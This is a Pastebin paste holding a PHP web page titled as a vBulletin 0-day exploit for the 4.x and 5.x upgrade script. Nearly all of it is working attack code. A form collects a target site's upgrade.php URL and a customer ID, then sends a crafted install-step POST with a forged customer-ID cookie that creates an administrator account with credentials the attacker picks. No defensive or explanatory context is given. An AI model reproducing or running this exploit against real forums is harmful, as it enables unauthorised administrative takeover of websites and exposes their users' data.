Advertisement
Guest User

FatalityForum.NET

a guest
Mar 31st, 2016
102
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 3.45 KB | None | 0 0
  1. <html xmlns="http://www.w3.org/1999/xhtml"><head>
  2.  
  3.  
  4.  
  5.  
  6.  
  7. <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
  8.  
  9. <title>Trickey~FatalityForum.NET</title>
  10.  
  11. <style type="text/css">
  12.  
  13. <!--
  14.  
  15. body {
  16.  
  17.     background-color: #400000 ;
  18.  
  19.     text-align: center;
  20.  
  21.     color: #FF0000;
  22.  
  23.     font-size: large;
  24.  
  25. }
  26.  
  27. .a {    font-size: 24px;
  28.  
  29. }
  30.  
  31. .f {    color: #FF0000;
  32.  
  33. }
  34.  
  35. .gbf {    color:#FF0000;
  36.  
  37. }
  38.  
  39. .dd {
  40.  
  41.     color: #FF0000;
  42.  
  43. }
  44.  
  45. .w {
  46.  
  47.     font-size: large;
  48.  
  49. }
  50.  
  51. a:link {
  52.  
  53.     text-decoration: none;
  54.  
  55. }
  56.  
  57. a:visited {
  58.  
  59.     text-decoration: none;
  60.  
  61. }
  62.  
  63. a:hover {
  64.  
  65.     text-decoration: none;
  66.  
  67. }
  68.  
  69. a:active {
  70.  
  71.     text-decoration: none;
  72.  
  73. }
  74.  
  75. -->
  76.  
  77. </style></head><body>
  78.  
  79. <p class="a">
  80.  
  81.  
  82. <h1><span class="gbf">vBulletin</span> 0DAY (4.x.x and 5.x.x Upgrade) Exploit</h1>
  83.  
  84.  
  85. </p>
  86.  
  87. <br>
  88. <?php
  89. //extract data from the post
  90. if(isset($_POST['submit'])){
  91. extract($_POST);
  92. //set POST variables
  93. $url = $_POST['url'];
  94. $fields = array(
  95.                         'ajax' => urlencode('1'),
  96.                         'version' => urlencode('install'),
  97.                         'checktable' => urlencode('false'),
  98.                         'firstrun' => urlencode('false'),
  99.                         'step' => urlencode('7'),
  100.                         'startat' => urlencode('0'),
  101.                         'only' => urlencode('false'),
  102.                         'customerid' => urlencode($_POST['customerid']),
  103.                         'options[skiptemplatemerge]' => urlencode('0'),
  104.                         'response' => urlencode('yes'),
  105.                         'htmlsubmit' => urlencode('1'),
  106.                         'htmldata[username]' => urlencode($_POST['username']),
  107.                         'htmldata[password]' => urlencode($_POST['password']),
  108.                         'htmldata[confirmpassword]' => urlencode($_POST['password']),
  109.                         'htmldata[email]' => urlencode($_POST['email'])
  110.                 );
  111. //url-ify the data for the POST
  112. foreach($fields as $key=>$value) { $fields_string .= $key.'='.$value.'&'; }
  113. rtrim($fields_string, '&');
  114. //open connection
  115. $ch = curl_init();
  116. //set the url, number of POST vars, POST data
  117. curl_setopt($ch,CURLOPT_URL, $url);
  118. curl_setopt($ch,CURLOPT_POST, count($fields));
  119. curl_setopt($ch,CURLOPT_POSTFIELDS, $fields_string);
  120. curl_setopt($ch, CURLOPT_COOKIESESSION, TRUE);
  121. curl_setopt($ch, CURLOPT_COOKIE, 'bbcustomerid='.$_POST['customerid'] );
  122. //execute post
  123. $result = curl_exec($ch);
  124. //close connection
  125. curl_close($ch);
  126. exit();
  127. }
  128. ?>
  129. <center>
  130. <form name="sploit" method="POST" action="<?php echo $_SERVER['REQUEST_URI']; ?>">
  131. <span>Example : http://test.com/forum/install/upgrade.php</span><br><br>
  132.   <span>Website:</span>
  133.     <input name="url" type="text" tabindex="1" size="60" /><br><br>
  134.     <br>
  135.     <span>Customer ID:</span>
  136.     <input name="customerid" type="text" tabindex="2" size="40" /><br><br>
  137.     <br>
  138.     <span>Username:</span>
  139.     <input name="username" type="text" tabindex="3" size="40" /><br><br>
  140.     <br>
  141.     <span>Password:</span>
  142.     <input name="password" type="text" tabindex="4" size="40" /><br><br>
  143.     <br>
  144.     <span>Email:</span>
  145.     <input name="email" type="text" tabindex="5" maxlength="40" /><br><br>
  146.    
  147. <input name="submit" type="submit" value="ADD"><br><br>
  148. </form>
  149. </center>
  150.  
  151.  
  152.  
  153. </div>
  154.        
  155.  </pre>
  156.  
  157. <p class="a">&nbsp;</p>
  158. <p align="center">
  159.  
  160.  
  161.   </body></html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement